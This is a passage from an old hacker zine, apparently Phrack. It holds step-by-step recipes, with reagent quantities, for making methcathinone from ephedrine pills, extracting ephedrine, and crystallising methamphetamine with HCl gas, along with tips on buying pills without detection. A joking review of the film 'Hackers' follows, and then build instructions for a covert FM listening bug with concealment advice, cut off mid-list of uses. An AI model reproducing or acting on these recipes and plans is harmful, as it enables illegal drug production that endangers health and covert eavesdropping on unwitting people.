this reaction. This list include chrome trioxide (CrO3), sodium or
|
||
potassium chromate (Na2CrO4), and sodium or potassium dichromate
|
||
(Na2Cr2O7). All of these chemicals are very common. Chrome trioxide is
|
||
used in great quantities in chrome plating. The chromates are used in
|
||
tanning and leather making.
|
||
|
||
To make methcathinone, the chemist starts with the water extract of
|
||
ephedrine pills. The concentration of the reactants in this case is not
|
||
critically important, so it is most convenient to use the water extract of
|
||
the pills directly after filtering without any boiling away of the water.
|
||
See the section at the beginning of Chapter 15 [I included this at the end
|
||
of the file] on extracting ephedrine form pills. Both ephedrine
|
||
hydrochloride and sulfate can be used in this reaction.
|
||
|
||
The water extract of 1000 ephedrine pills is placed into any
|
||
convenient glass container. A large measuring cup is probably best since
|
||
it has a pouring lip. Next, 75 grams of any of the above mentioned +6
|
||
chrome compounds are added. They dissolve quite easily to form a reddish
|
||
or orange colored solution. Finally, concentrated sulfuric acid is added.
|
||
If CrO3 is being used, 21 mL is enough for the job. If one of the
|
||
chromates is being used, 42 mL is called for. These ingredients are
|
||
thoroughly mixed together, and allowed to sit for several hours with
|
||
occasional stirring.
|
||
|
||
After several hours have passed, lye solution is added to the batch
|
||
until it is strongly basic. Very strong stirring accompanies this process
|
||
to ensure that the cat is converted to the free base. Next, the batch is
|
||
poured into a sep funnel, and a couple hundred mLs of toluene is added.
|
||
Vigorous shaking, as usual, extracts the cat into the toluene layer. It
|
||
should be clear to pale yellow in color. The water layer should be orange
|
||
mixed with green. The green may settle out as a heavy sludge. The water
|
||
layer is thrown away, and the toluene layer containing the cat is washed
|
||
once with water, then poured into a beaker. Dry HCl gas is passed through
|
||
the toluene as described in Chapter 5 [I included this at the end of the file]
|
||
to get white crystals of cat. The yield is between 15 and 20
|
||
grams. This reaction is scaled up quite easily.
|
||
|
||
|
||
CHAPTER 15 (part of it anyway)
|
||
|
||
P R O C E D U R E F O R O B T A I N I N G P U R E E P H E D R I N E
|
||
F R O M S T I M U L A N T P I L L S
|
||
|
||
In the present chemical supply environment, the best routes for making
|
||
meth start with ephedrine as the raw material. To use these routes, a
|
||
serious hurdle must first be overcome. This hurdle is the fact that the
|
||
most easily obtained source of ephedrine, the so-called stimulant or
|
||
bronchodilator pills available cheaply by mail order, are a far cry from
|
||
the pure starting material a quality minded chemist craves. Luckily,
|
||
there is a simple and very low profile method for separating the fillers
|
||
in these pills from the desired active ingredient they contain.
|
||
|
||
A superficial paging through many popular magazines[New Body is where
|
||
I found it at GNC] reveals them to be brim full of ads
|
||
from mail order outfits offering for sale "stimulant" or "bronchodilator"
|
||
pills. These are the raw materials today's clandestine operator requires
|
||
to manufacture meth without detection. The crank maker can hide amongst
|
||
the huge herd of people who order these pills for the irritating and
|
||
nauseating high that can be had by eating them as is. I have heard of a
|
||
few cases where search warrants were obtained against people who ordered
|
||
very large numbers of these pills, but I would think that orders of up to
|
||
a few thousand pills would pass unnoticed. If larger numbers are
|
||
required, maybe one's friends could join in the effort.
|
||
|
||
The first thing one notices when scanning these ads is the large
|
||
variety of pills offered for sale. When one's purpose is to convert them
|
||
into methamphetamine, it is very easy to eliminate most of the pills
|
||
offered for sale. Colored pills are automatically rejected because one
|
||
does not want the coloring to be carried into the product. Similarly,
|
||
capsules are rejected because individually cutting open capsules is just
|
||
too much work. Bulky pills are to be avoided because they contain too much
|
||
filler. The correct choice is white cross thins, preferably containing
|
||
ephedrine HCl instead of sulfate, because the HCl salt can be used in more
|
||
of the reduction routes than can the sulfate.
|
||
|
||
Once the desired supply of pills is in hand, the first thing which
|
||
should be done is to weigh them. This will give the manufacturer an idea
|
||
of how much of the pills is filler, and how much is active ingredient.
|
||
Since each pill contains 25 milligrams of ephedrine HCl, a 1000 lot bottle
|
||
contains 25 grams of active ingredient. A good brand of white cross thins
|
||
will be around 33% to 40% active ingredient. 25 grams of ephedrine HCl
|
||
may not sound like much, but if it is all recovered from these pills, it
|
||
is enough to make from 1/2 to 3/4 ounce of pure meth. This is worth three
|
||
or four thousand dollars, not a bad return on the twenty odd dollars a
|
||
thousand lot of such pills costs. [I don't know where he got 3 or 4
|
||
thousand dollars from, but the pills go for about $35.00/1000 now. 2
|
||
months ago they were $25.00 but now they have to do more paper work
|
||
because it is a DEA controlled substance]
|
||
|
||
To extract the ephedrine from the pills, the first thing which must be
|
||
done is to grind them into a fine powder. This pulverization must be
|
||
thorough in order to ensure complete extraction of the ephedrine form the
|
||
filler matrix in which it is bound. A blender does a fine job of this
|
||
procedure, as will certain brands of home coffee grinders.
|
||
|
||
Next, the powder from 1000 pills is put into a glass beaker, or other
|
||
similar container having a pouring lip, and about 300 mL of distilled
|
||
water is added. Gentle heat is then applied to the beaker, as for example
|
||
on a stove burner, and with steady stirring the contents of the beaker are
|
||
slowly brought up to a gentle boil. It is necessary to stir constantly
|
||
because of the fillers will settle to the bottom of the beaker and cause
|
||
burning if not steadily stirred.
|
||
|
||
Once the contents of the beaker have been brought to a boil, it is
|
||
removed from the heat and allowed to settle. Then the water is poured out
|
||
of the beaker through a piece of filter paper. The filtered water should
|
||
be absolutely clear. Next, another 50 mL of water is added to the pill
|
||
filler sludge, and it too is heated with stirring. Finally, the pill
|
||
sludge is poured into the filter, and the water it contains is allowed to
|
||
filter through. It too should be absolutely clear, and should be mixed in
|
||
with the first extract. A little water may be poured over the top of the
|
||
filler sludge to get the last of the ephedrine out of it. This sludge
|
||
should be nearly tasteless, and gritty in texture. The water extract
|
||
should taste very bitter, as it contains the ephedrine.
|
||
|
||
The filtered water is now returned to the stove burner, and half of
|
||
the water it contains is gently boiled away. Once this much water has
|
||
been boiled off, precautions should be taken to avoid burning the
|
||
ephedrine. The best alternative is to evaporate the water off under a
|
||
vacuum. If this is not practical with the equipment on hand, the water
|
||
may be poured into a glass baking dish. This dish is then put into the
|
||
oven with the door cracked open, and the lowest heat applied. In no time
|
||
at all, dry crystals of ephedrine HCl can be scraped out of the baking
|
||
dish with a razor blade. The serious kitchen experimenter may wish to
|
||
further dry them in a microwave.
|
||
|
||
Chapter 5 (The part about the HCl gas)
|
||
|
||
A source of anhydrous hydrogen chloride gas is now needed. The
|
||
chemist will generate his own. The glassware is set up as in Figure 1.
|
||
He will have to bend another piece of glass tubing to the shape shown. It
|
||
should start out about 18 inches long. One end of it should be pushed
|
||
through a one hole stopper. A 125 mL sep funnel is the best size. The
|
||
stoppers and joints must be tight, since pressure must develop inside this
|
||
flask to force the hydrogen chloride gas out through the tubing as it is
|
||
generated.
|
||
|
||
Into the 1000 mL, three-necked flask is placed 200 grams of table
|
||
salt. Then 25% concentrated hydrochloric acid is added to this flask until
|
||
it reaches the level shown in the figure. The hydrochloric acid must be
|
||
of laboratory grade [I use regular muriatic acid for pools].
|
||
|
||
Figure 1:
|
||
\ /
|
||
<20><>\ /<2F>ķ
|
||
ֽ ӷ <--125 mL separatory funnel
|
||
<20> <20>
|
||
<20> <20>
|
||
ӷ ֽ
|
||
<20>ķ <20>Ľ glass tubing Ŀ
|
||
ӷ ֽ
|
||
<20> <20> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͻ
|
||
stopcock-><3E><>ۺ<EFBFBD>Ĵ <20> <20>Salt and Hydrochloric acid
|
||
stopper -><3E><><EFBFBD>ķ <20><>\/з <20><><EFBFBD>ķ <-1 hole <20>mixed into a paste by add-
|
||
<20><><EFBFBD>ĺ <20> <20> <20><><EFBFBD>ĺ stopper <20>ing HCL to salt and mixing.
|
||
<20><><EFBFBD>Ľ <20><><EFBFBD><EFBFBD><EFBFBD>Ľ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ľ <20> <20><><EFBFBD>ķ <20>The surface should be rough
|
||
ֽ <20> ӷ <20>and a good number of holes
|
||
<20> <20> <20>should be poked into the
|
||
<20> 1000 mL, 3 neck flask <20> <20>paste for long lasting
|
||
<20> <20> <20>generation of HCl gas.
|
||
ӷ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>acid/salt level<65><6C><EFBFBD><EFBFBD><EFBFBD><EFBFBD> ֽ <20>
|
||
<20>ķ <20>Ľ <20>
|
||
<20><>ķ <20><>Ľ <20>
|
||
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ķ <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ľ <20>
|
||
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ľ <20>
|
||
|
||
|
||
Some concentrated sulfuric acid (96-98%) is put into the sep funnel
|
||
and the spigot turned so that 1 mL of concentrated sulfuric acid flows
|
||
into the flask. It dehydrates the hydrochloric acid and produces hydrogen
|
||
chloride gas. This gas is then forced by pressure through the glass
|
||
tubing.
|
||
|
||
One of the Erlenmeyer flasks containing methamphetamine in solvent is
|
||
placed so that the glass tubing extends into the methamphetamine, almost
|
||
reaching the bottom of the flask. Dripping in more sulfuric acid as
|
||
needed keeps the flow of gas going to the methamphetamine. If the flow if
|
||
gas is not maintained, the methamphetamine may solidify inside the glass
|
||
tubing, plugging it up.
|
||
|
||
Within a minute of bubbling, white crystals begin to appear in the
|
||
solution, More and more of them appear as the process continues. It is an
|
||
awe-inspiring sight. In a few minutes, the solution becomes as thick as
|
||
watery oatmeal.
|
||
|
||
It is now time to filter out the crystals, which is a two man job.
|
||
The flask with the crystals in it is removed from the HCl source and
|
||
temporarily set aside. The three-necked flask is swirled a little to
|
||
spread around the sulfuric acid and then the other Erlenmeyer flask is
|
||
subjected to a bubbling with HCl. While this flask is being bubbled, the
|
||
crystals already in the other flask are filtered out.
|
||
|
||
The filtering flask and Buchner funnel are set up as shown in figure
|
||
2. The drain stem of the buchner funnel extends all the way through the
|
||
rubber stopper, because methamphetamine has a nasty tendency to dissolve
|
||
rubber stoppers. This would color the product black. A piece of filter
|
||
paper covers the flat bottom of the Buchner funnel. The vacuum is turned
|
||
on and the hose attached to the vacuum nipple. Then the crystals are
|
||
poured into the Buchner funnel. The solvent and uncrystallized
|
||
methamphetamine pass through the filter paper and the crystals stay in the
|
||
Buchner funnel as a solid cake. About 15 mL of solvent is poured into the
|
||
Erlenmeyer flask. the top of the flask is covered with the palm and it is
|
||
shaken to suspend the crystals left clinging to the sides. This is also
|
||
poured into the Buchner funnel. Finally, another 15 mL of solvent is
|
||
poured over the top of the filter cake.
|
||
|
||
|
||
Figure 2:
|
||
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ
|
||
<20> <20> <-B<>chner Funnel
|
||
<20>___________<5F>
|
||
\ /
|
||
\ /
|
||
\ /
|
||
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ŀ
|
||
<20> <20><><EFBFBD><EFBFBD><EFBFBD> <--To vacuum
|
||
<20><><EFBFBD> <20>Ŀ
|
||
<20> <20>
|
||
<20> <20>
|
||
<20><><EFBFBD> <20>Ŀ
|
||
Filtering <20> <20>
|
||
flask--> <20><> <20><>
|
||
<20> <20>
|
||
<20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||
|
||
|
||
Now the vacuum hose is disconnected and the Buchner funnel, stopper
|
||
and all, is pulled from the filtering flask. All of the filtered solvent
|
||
is poured back into the erlenmeyer flask it came from. It is returned to
|
||
the HCl source for more bubbling. The Buchner funnel is put back into the
|
||
top of the filtering flask. It still contains the filter cake of
|
||
methamphetamine crystals. It will now be dried out a little bit. The
|
||
vacuum is turned back on, the vacuum hose is attached to the filtering
|
||
flask, and the top of the Buchner funnel is covered with the palm or
|
||
section of latex rubber glove. The vacuum builds and removes most of the
|
||
solvent from the filter cake. This takes about 60 seconds. The filter
|
||
cake can now be dumped out onto a glass or China plate (not plastic) by
|
||
tipping the Buchner funnel upside-down and tapping it gently on the plate.
|
||
|
||
And so, the filtering process continues, one flask being filtered
|
||
while the other one is being bubbled with HCl. Solvent is added to the
|
||
Erlenmeyer flask to keep their volumes at 300 mL. Eventually, after each
|
||
flask has been bubbled for about seven times, no more crystal will come
|
||
out and the underground chemist is finished.
|
||
|
||
If ether was used as the solvent, the filter cakes on the plates will
|
||
be nearly dry now. With a knife from the silverware drawer, the cakes are
|
||
cut into eighths. They are allowed to dry out some more then chopped up
|
||
into powder. If benzene was used, this process takes longer. Heat lamps
|
||
may be used to speed up this drying, but no stronger heat source.
|
||
|
||
[The above section of chapter 5 is talking about methamphetamine. You
|
||
could, in most instances, substitute the word methcathinone, but I wanted
|
||
to present the text to you in its exact form.]
|
||
|
||
|
||
------------------------------------------------------------------------------
|
||
|
||
|
||
Review of "HACKERS"
|
||
|
||
By Wile Coyote
|
||
|
||
Sorry, it might be a little long... cut it to ribbons if you want, most
|
||
of it is just a rant anyway... Hope you enjoy it.
|
||
|
||
First off, I have to admit that I was biased going into the movie
|
||
"Hackers"... I heard that it wasn't going to be up to snuff, but did I
|
||
let that stop me? No, of course not... I sucked up enough courage to
|
||
stride towards my girlfriend and beg for seven bucks... :) She ended up
|
||
wanting to see the movie herself (and sadly, she rather enjoyed it...
|
||
oh, well, what can you do with the computer illiterate or is it the
|
||
computer illegitimate?). Now onto....
|
||
|
||
THE MOVIE
|
||
|
||
(Yes, I AM going to give you a second-by-second playback of the
|
||
movie... you don't want me to spoil the plot, you say? Well, don't
|
||
worry, there is no plot to spoil! :) just kidding, go see it... maybe
|
||
you'll like it...)
|
||
|
||
Well, from the very first few seconds, I was unimpressed... It begins
|
||
with an FBI raid on some unsuspecting loose (who turns out to be the
|
||
main character, but that's later) named Zero Cool (can you say "EL1EEEEET
|
||
WaReZ D00D!!!!!!!1!!!!!111!!!!"). The cinematography was bad... (Hey,
|
||
cinematography counts!) But, the acting was worse. The Feds bust into
|
||
this home and run up the stairs, all while this lady (the mom) just kind
|
||
of looks on dumbfounded and keeps saying stuff like "hey, stop that...",
|
||
or something (is this what a raid is like? I've never had the pleasure...)
|
||
|
||
Ok, so the story goes on like this: The 11 year old kid made a computer
|
||
virus that he uploads to, I think, the NY stock exchange, and it crashes
|
||
1,507 computers. There is a really lame court scene where the kid is
|
||
sentenced to 7 years probation where he can't use a computer or a
|
||
touch-tone phone... That was 1988...
|
||
|
||
Time passes... Now it's 1995, and boy have things changed (except the
|
||
mom... hmmm....). Now the ex-hacker is allowed to use a computer (his
|
||
18th b-day) and (somehow) he is just a natural at hacking, and is (gold?)
|
||
boxing some TV station to change the program on television (yes, I know
|
||
that all of you super-el33t hackers hack into TV stations when you don't
|
||
like what's on Ricki Lake!). N-e-way, while hacking into their
|
||
super-funky system (the screen just kind of has numbers moving up and
|
||
down the screen like some kind of hex-editor on acid...)
|
||
he gets into a "hacking battle" with some other hacker called Acid Burn
|
||
(I don't think I have ever seen such a trippy view of the "Internet"...
|
||
lots of Very high-end graphics, not very realistic, but it's Hollywood...).
|
||
In the end, the other hacker kicks the shit out of him (he has changed
|
||
his handle to Crash Override now, just to be cool, i guess) and logs him
|
||
off the TV station. Wow, tense... cough...
|
||
|
||
For those of you who care, let me describe the "hacker" Crash Override:
|
||
He is definitely super-funky-coole-mo-d-el31t-to-the-max, 'cause he is
|
||
(kinda) built, and wears VERY wicky (wicky : <adjective> weird plus wacky)
|
||
clothes, and the CDC might have quite a bit to say about the amount of
|
||
leather he wears... I mean, there are limits to that kind of stuff, man!
|
||
And to top off his coolness, he is, like, the roller-blade king of the
|
||
world. (Not that hackers don't roller-blade, but he does it just Soooo
|
||
much cooler than I could... :) ). And yet, here's the nifty part,
|
||
despite all of his deft coolness, he couldn't get a girl for the life
|
||
of him (we all morn for him in silent prayer).
|
||
|
||
Ok, so now Crash is at school, and he meets Wonderchick (who is
|
||
EXACTLYFUCKINGLIKEHIM, and is , of course, an 3L31t hackerette... ok, she
|
||
is Acid Burn, the bitch who "kicked" him out of the TV station, sorry to
|
||
spoil the suspense).
|
||
|
||
Now, while at school, he wants to hook up with wonderchick, so he breaks
|
||
into the school's computer (it must be a fucking Cray to support all of
|
||
the high-end-type graphics that this dude is pulling up) and gets his
|
||
English(?) class changed to hers. So, some other super-d00dcool hacker
|
||
spots him playing around with the schools computer (it's funny how may
|
||
elite hackers one can meet in a new york public school...), so he
|
||
catches up with Crash and invites you to an elite (Oh, if you ever want
|
||
to see a movie where the word 3l333333333t is used, like a fucking
|
||
million times, then go see Hackers...) hackerz-only club, complete with
|
||
million-dollar virtual-reality crap and even a token phreaker trying to
|
||
red-box a pay-phone with a cassette recorder (never mind that the music is
|
||
about 197 decibels, the phone can still pick up the box tones...).
|
||
|
||
What follows is that Crash meets up with some seriously k-rad hackers
|
||
(Cereal Killer : reminds you of Mork & Mindy meets Dazed and Confused; and
|
||
Phantom Phreak : who reminds of that gay kid on "my so called life...
|
||
maybe that was him?";Lord Nikon : the token black hacker... Photographic
|
||
memory is his super-power). They talk about k00l pseudo-hacker shit and
|
||
then a l00ser warez-type guy comes up and tries to be El33t like everybody
|
||
else. He is just about the ONLY realistic character in the whole movie.
|
||
He acts JUST like a wannabe "Hiya D00dz, kan eye b k0ewl too?". He keeps
|
||
saying "I need a handle, then I'll be el33t!". (Why he can't just pick
|
||
his own handle, like The Avenging Turd or something, is beyond me... He
|
||
plays lamer better than the kids in Might Morphin Power Rangers... awesome
|
||
actor!). N-e-way, this is where the major discrepancies start. Ok,
|
||
first they try to "test" Lamerboy by asking him what the four most used
|
||
passwords are. According to the movie, they are "love, sex, god, and
|
||
secret". (Hmmmm.... I thought Unix required a 6-8 char. password....).
|
||
Somehow lamerboy got into a bank and screwed with an ATM machine four
|
||
states away; all of the hacker chastise him for being stupid and hacking
|
||
at home (If you watch the movie, you'll notice that the hackers use just
|
||
about every pay-phone in the city to do their hacking, no, THAT doesn't
|
||
look suspicious)Next they talk about "hacking a Gibson".
|
||
(I was informed that they WANTED to use "hacking a Cray",
|
||
but the Cray people decided that they didn't want THAT kind of publicity.
|
||
I've never heard of a Gibson in real life, though...).
|
||
They talk about how k-powerful the security is on a Gibson, and they say
|
||
that if Lamerboy can crack one, then he gets to be elite.
|
||
|
||
Soooooooo.... As the movie Sloooowly progresses (with a lot of Crash
|
||
loves Wonderchick, Wonderchick hates Crash kind of stuff) Lamerboy
|
||
finally cracks a Gibson with the password God (never mind a Login name or
|
||
anything that cool). Then the cheese begins in full force. The Gibson
|
||
is like a total virtual-reality thingy. Complete with all sorts of cool
|
||
looking towers and neon lightning bolts and stuff. Lamerboy hacks into a
|
||
garbage file (did I mention that the entire world is populated by Macs?
|
||
Oh, I didn't... well, hold on :)...). So, this sets alarms off all
|
||
over the place (cause a top-secret file is hidden in the garbage, see?),
|
||
and the main bad-guy, security chief Weasel, heads out to catch him. He
|
||
plays around with some neon, star-trek-console, buttons for a while,
|
||
then calls the "feds" to put a trace on the kid. La de da, ess catches him
|
||
in a second, and the kid only gets half of the file, which he hides.
|
||
(to spoil the suspense, yet again, the file is some kind of money getting
|
||
program, like the kind some LOD members wrote about a long time ago in
|
||
Phrack, which pulls money from each transaction and puts it into
|
||
a different account. Needless to say, the Security Weasel is the guy who
|
||
wrote it, which is why he needs it back, pronto!).
|
||
|
||
As we travel along the movie, the hackers keep getting busted for tapping
|
||
into the Gibson, and they keep getting away. The "action" heats up when
|
||
Wonderchick and Crash get into a tiff and they decide to have a hacking
|
||
contest... They go all over the city trying their best to fuck with
|
||
the one fed they don't like.... Brilliant move, eh? The movie kind of
|
||
reaches a lull when, at a party at Wonderchick's house, they see a k-rad laptop.
|
||
They all fondle over the machine with the same intensity that Captain Kirk
|
||
gave to fighting Klingons, and frankly, their acting abilities seems
|
||
to ask "please deposit thirty-five cents for the next three minutes".
|
||
It was funny listening to the actors, 'cause they didn't know shit about
|
||
what they were saying... Here's a clip:
|
||
|
||
Hey, cool, it's got a 28.8 bps modem! (Yep, a 28.8 bit modem... Not
|
||
Kbps, mind you :)...I wonder where they designed a .8 of a bit?)
|
||
|
||
Yeah! Cool... Hey what kind of chip does it have in it?
|
||
|
||
A P6! Three times faster than a Pentium.... Yep, RISC is the wave of
|
||
the future... (I laughed so hard..... Ok, first of all, it is a Mac.
|
||
Trust me, it has the little apple on the cover. Second it has a P6, what
|
||
server she ripped this out of, I dare not ask. How she got that
|
||
bastard into a laptop without causing the casing to begin melting is
|
||
yet another problem... those get very hot, i just read about them
|
||
in PC magazine (wow, I must be elite too). Finally, this is a *magic* P6,
|
||
because it has RISC coding....
|
||
|
||
I kinda wished I had stayed for the credits to see the line:
|
||
|
||
Technical advisor None.... died on route to work...)
|
||
|
||
Finally they ask something about the screen, and they find out it is
|
||
an..... hold your breath.... ACTIVE MATRIX! ... Kick ass!
|
||
|
||
They do lots of nifty things with their magic laptops (I noticed that they
|
||
ALL had laptops, and they were ALL Macintoshes. Now, I'm not one to say
|
||
you can't hack on a mac, 'cause really you can hack on a TI-81 if you've
|
||
got the know.... but please, not EVERYONE in the fucking movie
|
||
has to have the exact same computer (different colors, though... there
|
||
was a really cool clear one).... it got really sad at the end), and they
|
||
finally find out what the garbage file that Lamerboy stole was, this time
|
||
using a hex editor/CAD program of some sort.
|
||
|
||
As we reach the end of the movie, the hackers enlist the help of two very
|
||
strangely painted phone phreaks who give the advice to the hackers to send
|
||
a message to all of the hackers on the 'net, and together, they all
|
||
kicked some serious ass with the super-nifty-virtual-reality Gibson.
|
||
|
||
In the end, all of the Hackers get caught except for one, who pirates all
|
||
of the TV station in the world and gives the police the "real" story...
|
||
So, the police politely let them go, no need for actually proving that the
|
||
evidence was real or anything, of course.
|
||
|
||
So, in the end, I had to say that the movie was very lacking. It seemed
|
||
to be more of a Hollywood-type flashy movie, than an actual documentary
|
||
about hackers. Yes, I know an ACTUAL movie about hacker would suck, but
|
||
PLEASE, just a LITTLE bit of reality helps keep the movie grounded. It
|
||
may have sucked less if they didn't put flashing, 64 million color,
|
||
fully-rendered, magically delicious pictures floating all over the screen
|
||
instead of just a simple "# " prompt at the bottom. With all of the
|
||
super-easy access to all of the worlds computers, as depicted in the movie,
|
||
ANYBODY can be a hacker, regardless of knowledge, commitment, or just
|
||
plain common sense. And that's what really made it suck...
|
||
|
||
Hope you enjoyed my review of HACKERS!
|
||
|
||
|
||
|
||
==Phrack Magazine==
|
||
|
||
Volume Seven, Issue Forty-Eight, File 4 of 18
|
||
|
||
|
||
// // /\ // ====
|
||
// // //\\ // ====
|
||
==== // // \\/ ====
|
||
|
||
/\ // // \\ // /=== ====
|
||
//\\ // // // // \=\ ====
|
||
// \\/ \\ // // ===/ ====
|
||
|
||
PART II
|
||
|
||
------------------------------------------------------------------------------
|
||
|
||
+===================================+
|
||
| CONSTRUCTING AN FM BUG |
|
||
| -------------------- |
|
||
| |
|
||
| written by |
|
||
| + Obi-1 |
|
||
| * edjjs@cc.newcastle.edu.au|
|
||
| * * |
|
||
| |
|
||
| $ Written for Phrack |
|
||
| x$x if any other magazine |
|
||
| $ wishes to print this |
|
||
| x$x article they must let the |
|
||
| author know in advance |
|
||
+===================================+
|
||
|
||
|
||
INTRODUCTION
|
||
|
||
Before anything this article sole purpose is to teach everyone
|
||
out there about electronics. If you do build it use it at your own risk.
|
||
You will need a decent knowledge of electronics and how to solder some
|
||
components. So if you dont know how to build electronic kits and want a
|
||
bug you can buy one ready-made from me, just write to the e-mail address
|
||
above. Ok enough crap.. so you ask what is an FM bug, well an FM bug is
|
||
like a tiny microphone that can transmit crystal clear audio to a near
|
||
by Walkman/stereo etc. The range of the bug we are making is about 800
|
||
meters, and the battery life is about 100hrs on a normal alkaline
|
||
battery. This bug however is not to be moved while in use, so you cant
|
||
put it in your pocket and walk around. There are other bugs on the
|
||
market but this I found to be the most reliable and relatively easy to
|
||
build. The actual size of the PCB is only 2cm X 2cm! However the battery
|
||
is actually the biggest component. Some parts like the Surface Mount
|
||
resistors, air trimmer and electret microphone maybe hard to find. I
|
||
find mail-order catalogs are the best source of parts as they have a
|
||
bigger range than a store like Dick Smith. I did not actually design
|
||
this circuit, Talking Electronics did, but felt everyone out there might
|
||
like to know how to build one of these. The surface mount resistors can
|
||
be replaced with normal resistors but I recommend using the surface
|
||
mount resistors as they give more of an educational experience to this
|
||
project <puke> <puke> If you dont have a clue how to build a bug and
|
||
have no knowledge of electronics whatsoever e-mail me and you can
|
||
purchase one pre-built from me.
|
||
|
||
|
||
COMPONENT LIST
|
||
|
||
Resistors
|
||
1- 470 R surface mount
|
||
1- 10k surface mount
|
||
1- 47k surface mount
|
||
1- 68k surface mount
|
||
1- 1M surface mount
|
||
|
||
Capacitors
|
||
1- 10p disc ceramic
|
||
1- 39p disc ceramic
|
||
1- 1n disc ceramic
|
||
2- 22n disc ceramics
|
||
1- 100n monoblock (monolithic)
|
||
1- Air trimmer 2p-10p
|
||
|
||
Other
|
||
2- BC 547 transistors
|
||
1- 5 turn coil 0.5mm enameled wire
|
||
1- electret mic insert- high sensitivity
|
||
1- 9V battery snap
|
||
1- 15cm tinned copper wire
|
||
1- 30cm fine solder
|
||
1- 170cm antenna wire
|
||
|
||
NOTE: use 170cm of electrical wire for the antenna, this length will give
|
||
you maximum range, however since the antenna wire needs to be extended
|
||
when bugging the concealability might be a factor. You can shorten the
|
||
wire's length but this will shorten the range yet make it easier to
|
||
conceal. Weigh the factors and do whats right for you.
|
||
|
||
|
||
ASSEMBLY OF CIRCUIT
|
||
|
||
First familiarize yourself with the layout of the components.
|
||
Now the only polarized (parts that have to put around the right way) are
|
||
the two transistors, the battery and the microphone. All other parts can
|
||
be soldered either way around. I recommend using this order for assembly
|
||
as it is the most practical and easiest way to build the bug.
|
||
|
||
1. 5 surface mount resistors.
|
||
2. 6 capacitors.
|
||
3. 2 transistors.
|
||
4. air trimmer
|
||
5. 5-turn coil.
|
||
6. battery snap.
|
||
7. microphone.
|
||
8. antenna wire.
|
||
|
||
|
||
READING RESISTOR AND CAPACITOR VALUES
|
||
|
||
If you dont know how to read the value of a surface mount
|
||
resistor or disc ceramic capacitor read on.
|
||
|
||
Surface mount resistor: These have three numbers, with the first two
|
||
digits being multiplied by the third. The third digit represents how
|
||
many zeros after the first two. For example a surface mount resistor
|
||
with code 1-0-5 would mean that the first two digits (1-0) would be
|
||
multiplied by 5 zeros. To give the value 10 00000ohms or 1Mohm.
|
||
|
||
Capacitor: These are similar to the above but the base number is pF or
|
||
pico farads. eg a capacitor labeled 2-2-3 has the value of 22 000pF.
|
||
|
||
|
||
HOW IT WORKS
|
||
|
||
The FM bug circuit consists of two stages: an audio amplifier
|
||
and a RF oscillator stage.
|
||
|
||
1.THE AUDIO AMPLIFIER STAGE
|
||
|
||
The microphone detects audio in the form of air vibrations that
|
||
enter the hole at the end of the microphone and move the diaphragm. The
|
||
diaphragm is a thin piece of metalised plastic and is charged during
|
||
manufacture. Some of these vibrations pass down a lead which touches it
|
||
to and into a FET transistor. A FET transistor has a very high input
|
||
impedance and does not have a loading effect on the charges. The audio
|
||
then gets passed through a BC 547 transistor which amplifies the sound
|
||
around seventy times. The BC547 then passes it to the base of the
|
||
oscillator stage.
|
||
|
||
2.THE OSCILLATOR STAGE
|
||
|
||
The 47k resistor picks up the pulse from the transistor and then
|
||
turns the second or oscillator transistor ON, but the 47k resistor has a
|
||
value so that it will not turn the transistor on fully. So the feedback
|
||
pulse from the 10p capacitor turns it ON fully.
|
||
|
||
Normally a transistor is turned ON/OFF via the base, however it
|
||
can be also done by holding the base firm and differing the emitter
|
||
voltage. In the FM bug this is whats done, the 1p capacitor holds the
|
||
base firm and the 10p feedback capacitor differs the emitter voltage.
|
||
However for a capacitor to do this the emitter must have a DC voltage
|
||
that can be increased and decreased. The DC voltage is about 2V and the
|
||
base will be 0.6V higher than this so the base voltage is fixed at 2.6V
|
||
by the 1p capacitor. The voltage does not rise or fall when the
|
||
oscillator is operating only when the audio is injected into the base
|
||
via the 100n capacitor. This is how the circuit works and continues like
|
||
this at a rate of about 100 million times per second.
|
||
|
||
The oscillator is designed to operate at around 100mhz, however
|
||
this figure is dependent on a lot of factors such as the 6 turn coil,
|
||
the 10p capacitor and 470R and 47k resistors also and the figure of
|
||
operation is about 90mhz (my FM bug operated at 88.5mhz).
|
||
|
||
|
||
GETTING THE BUG READY FOR ACTION
|
||
|
||
Ok so you have built the bug now and are ready to use it. Well
|
||
first of all you will need some sort of FM radio. Alright put the bug
|
||
next to or near the radio's antenna. Turn the bug and the radio on.
|
||
Alright starting from the bottom end of the radio's FM scale. Slowly
|
||
progress your way through the FM band. Usually your bug will tend to be
|
||
around the 85-95mhz range. Once you hear a beep (because your bug is
|
||
close to the radio) or any other strange static noise stop. Alright you
|
||
might have been lucky and your bug is exactly tuned already, however in
|
||
most cases you will need to adjust your bug slightly. Using a small
|
||
screwdriver slowly turn the air trimmer, whilst doing this babble out
|
||
some words, stop turning until the echo of your voice through the radio
|
||
becomes crystal clear. Your bug is now tuned and you are ready to put it
|
||
to use.
|
||
|
||
You might have some problems with your bugs frequency being
|
||
exactly same as a radio stations. No problem, by compressing or
|
||
uncompressing the coil you can change your bugs frequency. Use the coil
|
||
method if your bug is in the middle of a few radio stations frequencies,
|
||
if you just need to move it up or down one or two mhz then use the air
|
||
trimmer.
|
||
|
||
|
||
PUTTING THE BUG TO USE
|
||
|
||
Many of you already have your ideas on how to use the bug.
|
||
Remember it might be illegal in your Country/State/city to use this bug
|
||
in the way you intend. Hey its up to you I dont mind, however I take no
|
||
responsibility if you get in trouble.
|
||
|
||
Anyway here are a few "friendly methods":
|
||
|
||
1. CHRISTMAS. Yes it will soon be that time of year again, and
|
||
this time also brings a great opportunity to discover some of those
|
||
